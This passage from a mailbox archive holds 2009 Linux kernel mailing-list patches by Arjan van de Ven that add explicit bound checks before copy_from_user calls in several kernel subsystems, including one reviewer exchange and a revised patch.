	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:28 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com (LHLO
 zmta02.collab.prod.int.phx2.redhat.com) (10.5.5.32) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:56:09 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 3BB159CE2F;
	Sat, 26 Sep 2009 14:56:09 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta02.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id w5I9rbKDiOVg; Sat, 26 Sep 2009 14:56:09 -0400 (EDT)
Received: from int-mx04.intmail.prod.int.phx2.redhat.com (int-mx04.intmail.prod.int.phx2.redhat.com [10.5.11.17])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 00D0E9C7CF;
	Sat, 26 Sep 2009 14:56:08 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx07.extmail.prod.ext.phx2.redhat.com [10.5.110.11])
	by int-mx04.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIu1VY022597;
	Sat, 26 Sep 2009 14:56:02 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QImrPI007277;
	Sat, 26 Sep 2009 14:55:55 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1752826AbZIZSyY (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:54:24 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752675AbZIZSyW
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:22 -0400
Received: from casper.infradead.org ([85.118.1.10]:36394 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751800AbZIZSyT (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:19 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPW-0002Uh-Ga; Sat, 26 Sep 2009 18:54:22 +0000
Date: 	Sat, 26 Sep 2009 20:52:23 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Arjan van de Ven <arjan at infradead.org>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu,
        lenb at kernel.org
Subject: [PATCH 5/9] Add bound checks in acpi/video for copy_from_user
Message-ID: <20090926205223.61dd0844 at infradead.org>
In-Reply-To: <20090926204951.424e567e at infradead.org>
References: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.17
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.11
Status: RO
Content-Length: 2065
Lines: 75

From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 5/9] Add bound checks in acpi/video for copy_from_user
CC: Len Brown <lenb at kernel.org>

The ACPI video driver has a few boundary checks for copy_from_user
that unfortunately confuse the GCC optimizer.

This patch simplifies these boundary checks to the point that
gcc knows they copy_from_user() is always within bounds.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>


diff --git a/drivers/acpi/video.c b/drivers/acpi/video.c
index 94b1a4c..0dd2cc8 100644
--- a/drivers/acpi/video.c
+++ b/drivers/acpi/video.c
@@ -1218,7 +1218,9 @@ acpi_video_device_write_state(struct file *file,
 	u32 state = 0;
 
 
-	if (!dev || count + 1 > sizeof str)
+	if (!dev)
+		return -EINVAL;
+	if (count >= sizeof(str))
 		return -EINVAL;
 
 	if (copy_from_user(str, buffer, count))
@@ -1275,7 +1277,10 @@ acpi_video_device_write_brightness(struct file *file,
 	int i;
 
 
-	if (!dev || !dev->brightness || count + 1 > sizeof str)
+	if (!dev || !dev->brightness)
+		return -EINVAL;
+
+	if (count >= sizeof(str))
 		return -EINVAL;
 
 	if (copy_from_user(str, buffer, count))
@@ -1557,7 +1562,10 @@ acpi_video_bus_write_POST(struct file *file,
 	unsigned long long opt, options;
 
 
-	if (!video || count + 1 > sizeof str)
+	if (!video)
+		return -EINVAL;
+
+	if (count >= sizeof(str))
 		return -EINVAL;
 
 	status = acpi_video_bus_POST_options(video, &options);
@@ -1597,7 +1605,9 @@ acpi_video_bus_write_DOS(struct file *file,
 	unsigned long opt;
 
 
-	if (!video || count + 1 > sizeof str)
+	if (!video)
+		return -EINVAL;
+	if (count >= sizeof(str))
 		return -EINVAL;
 
 	if (copy_from_user(str, buffer, count))



-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:21 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:21 -0400 (EDT)
Received: from zmta01.collab.prod.int.phx2.redhat.com (LHLO
 zmta01.collab.prod.int.phx2.redhat.com) (10.5.5.31) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:55:31 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta01.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id C573B92827;
	Sat, 26 Sep 2009 14:55:31 -0400 (EDT)
Received: from zmta01.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta01.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kOeSnU2O0+Pc; Sat, 26 Sep 2009 14:55:31 -0400 (EDT)
Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by zmta01.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 8614591AC5;
	Sat, 26 Sep 2009 14:55:31 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx07.extmail.prod.ext.phx2.redhat.com [10.5.110.11])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QItOv6015831;
	Sat, 26 Sep 2009 14:55:25 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QImrPE007277;
	Sat, 26 Sep 2009 14:55:09 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1753137AbZIZSzA (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:55:00 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752707AbZIZSya
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:30 -0400
Received: from casper.infradead.org ([85.118.1.10]:36400 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750867AbZIZSyU (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:20 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPX-0002Uh-53; Sat, 26 Sep 2009 18:54:23 +0000
Date: 	Sat, 26 Sep 2009 20:52:55 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Arjan van de Ven <arjan at infradead.org>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu,
        sfrench at samba.org
Subject: [PATCH 6/9] Simplify bound checks in cifs for copy_from_user
Message-ID: <20090926205255.1d9de6c7 at infradead.org>
In-Reply-To: <20090926204951.424e567e at infradead.org>
References: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.11
Status: RO
Content-Length: 1436
Lines: 46

From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 6/9] Simplify bound checks in cifs for copy_from_user
CC: Steve French <sfrench at samba.org>

The CIFS code unfortunately hits a missed optimization in gcc
(http://gcc.gnu.org/bugzilla/show_bug.cgi?id=41477)
where gcc can't prove to itself that count will not be larger than 11.

This patch simplifies the expression so that GCC does realize this,
giving slightly better code soon when copy_from_user() grows some checks.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>

diff --git a/fs/cifs/cifs_debug.c b/fs/cifs/cifs_debug.c
index 42cec2a..94b86da 100644
--- a/fs/cifs/cifs_debug.c
+++ b/fs/cifs/cifs_debug.c
@@ -732,11 +732,13 @@ static ssize_t cifs_security_flags_proc_write(struct file *file,
 	char flags_string[12];
 	char c;
 
-	if ((count < 1) || (count > 11))
-		return -EINVAL;
-
 	memset(flags_string, 0, 12);
 
+	if (count < 1)
+		return -EINVAL;
+	if (count > 11)
+		return -EINVAL;
+
 	if (copy_from_user(flags_string, buffer, count))
 		return -EFAULT;
 



-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:16 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:16 -0400 (EDT)
Received: from zmta03.collab.prod.int.phx2.redhat.com (LHLO
 zmta03.collab.prod.int.phx2.redhat.com) (10.5.5.33) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:55:03 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta03.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 76D154E5A4;
	Sat, 26 Sep 2009 14:55:03 -0400 (EDT)
Received: from zmta03.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta03.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UcwzvLLoE+tE; Sat, 26 Sep 2009 14:55:03 -0400 (EDT)
Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by zmta03.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 31D294E591;
	Sat, 26 Sep 2009 14:55:03 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx07.extmail.prod.ext.phx2.redhat.com [10.5.110.11])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIsuQR011097;
	Sat, 26 Sep 2009 14:54:56 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QImrPC007277;
	Sat, 26 Sep 2009 14:54:43 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1752970AbZIZSyb (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:54:31 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752675AbZIZSy3
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:29 -0400
Received: from casper.infradead.org ([85.118.1.10]:36404 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751887AbZIZSyU (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:20 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPX-0002Uh-KU; Sat, 26 Sep 2009 18:54:23 +0000
Date: 	Sat, 26 Sep 2009 20:53:36 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Arjan van de Ven <arjan at infradead.org>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu,
        jmorris at nami.org
Subject: [PATCH 7/9] Simplify bound checks in capabilities for
 copy_from_user
Message-ID: <20090926205336.77bc5b21 at infradead.org>
In-Reply-To: <20090926204951.424e567e at infradead.org>
References: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.11
Status: RO
Content-Length: 1883
Lines: 51

From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 7/9] Simplify bound checks in capabilities for copy_from_user
CC: James Morris <jmorris at namei.org>

The capabilities syscall has a copy_from_user() call where gcc currently
cannot prove to itself that the copy is always within bounds.

This patch adds a very explicity bound check to prove to gcc that 
this copy_from_user cannot overflow its destination buffer.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>

diff --git a/kernel/capability.c b/kernel/capability.c
index 4e17041..204f11f 100644
--- a/kernel/capability.c
+++ b/kernel/capability.c
@@ -238,7 +241,7 @@ SYSCALL_DEFINE2(capget, cap_user_header_t, header, cap_user_data_t, dataptr)
 SYSCALL_DEFINE2(capset, cap_user_header_t, header, const cap_user_data_t, data)
 {
 	struct __user_cap_data_struct kdata[_KERNEL_CAPABILITY_U32S];
-	unsigned i, tocopy;
+	unsigned i, tocopy, copybytes;
 	kernel_cap_t inheritable, permitted, effective;
 	struct cred *new;
 	int ret;
@@ -255,8 +258,11 @@ SYSCALL_DEFINE2(capset, cap_user_header_t, header, const cap_user_data_t, data)
 	if (pid != 0 && pid != task_pid_vnr(current))
 		return -EPERM;
 
-	if (copy_from_user(&kdata, data,
-			   tocopy * sizeof(struct __user_cap_data_struct)))
+	copybytes = tocopy * sizeof(struct __user_cap_data_struct);
+	if (copybytes > (_KERNEL_CAPABILITY_U32S * sizeof(u32)))
+		return -EFAULT;
+
+	if (copy_from_user(&kdata, data, copybytes))
 		return -EFAULT;
 
 	for (i = 0; i < tocopy; i++) {



-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:23 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:23 -0400 (EDT)
Received: from zmta01.collab.prod.int.phx2.redhat.com (LHLO
 zmta01.collab.prod.int.phx2.redhat.com) (10.5.5.31) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:55:51 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta01.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 8839792827;
	Sat, 26 Sep 2009 14:55:51 -0400 (EDT)
Received: from zmta01.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta01.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7Yts36SyUiSk; Sat, 26 Sep 2009 14:55:51 -0400 (EDT)
Received: from int-mx04.intmail.prod.int.phx2.redhat.com (int-mx04.intmail.prod.int.phx2.redhat.com [10.5.11.17])
	by zmta01.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 4C9C691AC5;
	Sat, 26 Sep 2009 14:55:51 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx07.extmail.prod.ext.phx2.redhat.com [10.5.110.11])
	by int-mx04.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QItiGJ022579;
	Sat, 26 Sep 2009 14:55:44 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QImrPG007277;
	Sat, 26 Sep 2009 14:55:31 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1753086AbZIZSzQ (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:55:16 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752878AbZIZSy1
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:27 -0400
Received: from casper.infradead.org ([85.118.1.10]:36406 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752669AbZIZSyV (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:21 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPY-0002Uh-56; Sat, 26 Sep 2009 18:54:24 +0000
Date: 	Sat, 26 Sep 2009 20:54:06 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Arjan van de Ven <arjan at infradead.org>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu,
        akpm at linux-foundation.org
Subject: [PATCH 8/9] Add explicit bound checks in mm/migrate.c
Message-ID: <20090926205406.30d55b08 at infradead.org>
In-Reply-To: <20090926204951.424e567e at infradead.org>
References: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.17
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.11
Status: RO
Content-Length: 1531
Lines: 47

From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 8/9] Add explicit bound checks in mm/migrate.c
CC: akpm at linux-foundation.org

The memory migration code has some curious copy_from_user bounds,
that are likely ok, but are not immediately obvious to me or to GCC.

This patch adds a simple explicit bound check; this allows GCC
and me to be more assured that the copy_from_user will never overwrite
its destination buffer.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>


diff --git a/mm/migrate.c b/mm/migrate.c
index 1a4bf48..5b9ebc5 100644
--- a/mm/migrate.c
+++ b/mm/migrate.c
@@ -1044,11 +1044,15 @@ static int do_pages_stat(struct mm_struct *mm, unsigned long nr_pages,
 	int err;
 
 	for (i = 0; i < nr_pages; i += chunk_nr) {
+		unsigned int copy;
 		if (chunk_nr + i > nr_pages)
 			chunk_nr = nr_pages - i;
 
-		err = copy_from_user(chunk_pages, &pages[i],
-				     chunk_nr * sizeof(*chunk_pages));
+		copy = chunk_nr * sizeof(*chunk_pages);
+		if (copy > DO_PAGES_STAT_CHUNK_NR)
+			return -EFAULT;
+
+		err = copy_from_user(chunk_pages, &pages[i], copy);
 		if (err) {
 			err = -EFAULT;
 			goto out;


-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 15:24:03 2009
Return-Path: netdev-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 15:24:03 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com (LHLO
 zmta02.collab.prod.int.phx2.redhat.com) (10.5.5.32) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 15:23:02 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 7BD039D92F;
	Sat, 26 Sep 2009 15:23:02 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta02.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TPGJET5LrlkZ; Sat, 26 Sep 2009 15:23:02 -0400 (EDT)
Received: from int-mx08.intmail.prod.int.phx2.redhat.com (int-mx08.intmail.prod.int.phx2.redhat.com [10.5.11.21])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 4D4C49D7C8;
	Sat, 26 Sep 2009 15:23:02 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx08.extmail.prod.ext.phx2.redhat.com [10.5.110.12])
	by int-mx08.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QJN1Th008926;
	Sat, 26 Sep 2009 15:23:01 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIxDQS027750;
	Sat, 26 Sep 2009 15:22:49 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1752510AbZIZTWm (ORCPT <rfc822;dnelson at redhat.com> + 16 others);
	Sat, 26 Sep 2009 15:22:42 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752371AbZIZTWl
	(ORCPT <rfc822;netdev-outgoing>); Sat, 26 Sep 2009 15:22:41 -0400
Received: from casper.infradead.org ([85.118.1.10]:41083 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752224AbZIZTWl (ORCPT
	<rfc822;netdev at vger.kernel.org>); Sat, 26 Sep 2009 15:22:41 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1Mrcqx-0003Pe-Cb; Sat, 26 Sep 2009 19:22:43 +0000
Date: 	Sat, 26 Sep 2009 21:23:02 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Cyrill Gorcunov <gorcunov at gmail.com>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu,
        netdev at vger.kernel.org
Subject: Re: [PATCH 9/9] Add explicit bound checks in net/socket.c
Message-ID: <20090926212302.0ce64a5c at infradead.org>
In-Reply-To: <20090926190103.GB4356 at lenovo>
References: <20090926204951.424e567e at infradead.org>
	<20090926205432.24aa1023 at infradead.org>
	<20090926190103.GB4356 at lenovo>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: netdev-owner at vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: 	netdev at vger.kernel.org
X-RedHat-Spam-Score: -3.762  (AWL,RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.21
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.12
Status: RO
Content-Length: 3053
Lines: 93

On Sat, 26 Sep 2009 23:01:03 +0400
Cyrill Gorcunov <gorcunov at gmail.com> wrote:

> [Arjan van de Ven - Sat, Sep 26, 2009 at 08:54:32PM +0200]
> | From: Arjan van de Ven <arjan at linux.intel.com>
> | Subject: [PATCH 9/9] Add explicit bound checks in net/socket.c
> | CC: netdev at vger.kernel.org
> | 
> | The sys_socketcall() function has a very clever system for the copy
> | size of its arguments. Unfortunately, gcc cannot deal with this in
> | terms of proving that the copy_from_user() is then always in bounds.
> | This is the last (well 9th of this series, but last in the kernel)
> such | case around.
> | 
> | With this patch, we can turn on code to make having the boundary
> provably | right for the whole kernel, and detect introduction of new
> security | accidents of this type early on.
> | 
> | Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>
> | 
> | 
> | diff --git a/net/socket.c b/net/socket.c
> | index 49917a1..13a8d67 100644
> | --- a/net/socket.c
> | +++ b/net/socket.c
> | @@ -2098,12 +2098,17 @@ SYSCALL_DEFINE2(socketcall, int, call,
> unsigned long __user *, args) |  	unsigned long a[6];
> |  	unsigned long a0, a1;
> |  	int err;
> | +	unsigned int len;
> |  
> |  	if (call < 1 || call > SYS_ACCEPT4)
> |  		return -EINVAL;
> |  
> | +	len = nargs[call];
> | +	if (len > 6)
> 
> Hi Arjan, wouldn't ARRAY_SIZE suffice beter there?
> Or I miss something?
> 

goof once goof twice, make it sizeof.. that's nicer.

From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 9/9] Add explicit bound checks in net/socket.c
CC: netdev at vger.kernel.org

The sys_socketcall() function has a very clever system for the copy
size of its arguments. Unfortunately, gcc cannot deal with this in
terms of proving that the copy_from_user() is then always in bounds.
This is the last (well 9th of this series, but last in the kernel) such
case around.

With this patch, we can turn on code to make having the boundary provably
right for the whole kernel, and detect introduction of new security
accidents of this type early on.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>


diff --git a/net/socket.c b/net/socket.c
index 49917a1..13a8d67 100644
--- a/net/socket.c
+++ b/net/socket.c
@@ -2098,12 +2098,17 @@ SYSCALL_DEFINE2(socketcall, int, call, unsigned long __user *, args)
 	unsigned long a[6];
 	unsigned long a0, a1;
 	int err;
+	unsigned int len;
 
 	if (call < 1 || call > SYS_ACCEPT4)
 		return -EINVAL;
 
+	len = nargs[call];
+	if (len > sizeof(a))
+		return -EINVAL;
+
 	/* copy_from_user should be SMP safe. */
-	if (copy_from_user(a, args, nargs[call]))
+	if (copy_from_user(a, args, len))
 		return -EFAULT;
 
 	audit_socketcall(nargs[call] / sizeof(unsigned long), a);


-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html



--- NEW FILE patch-2.6.31.3.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

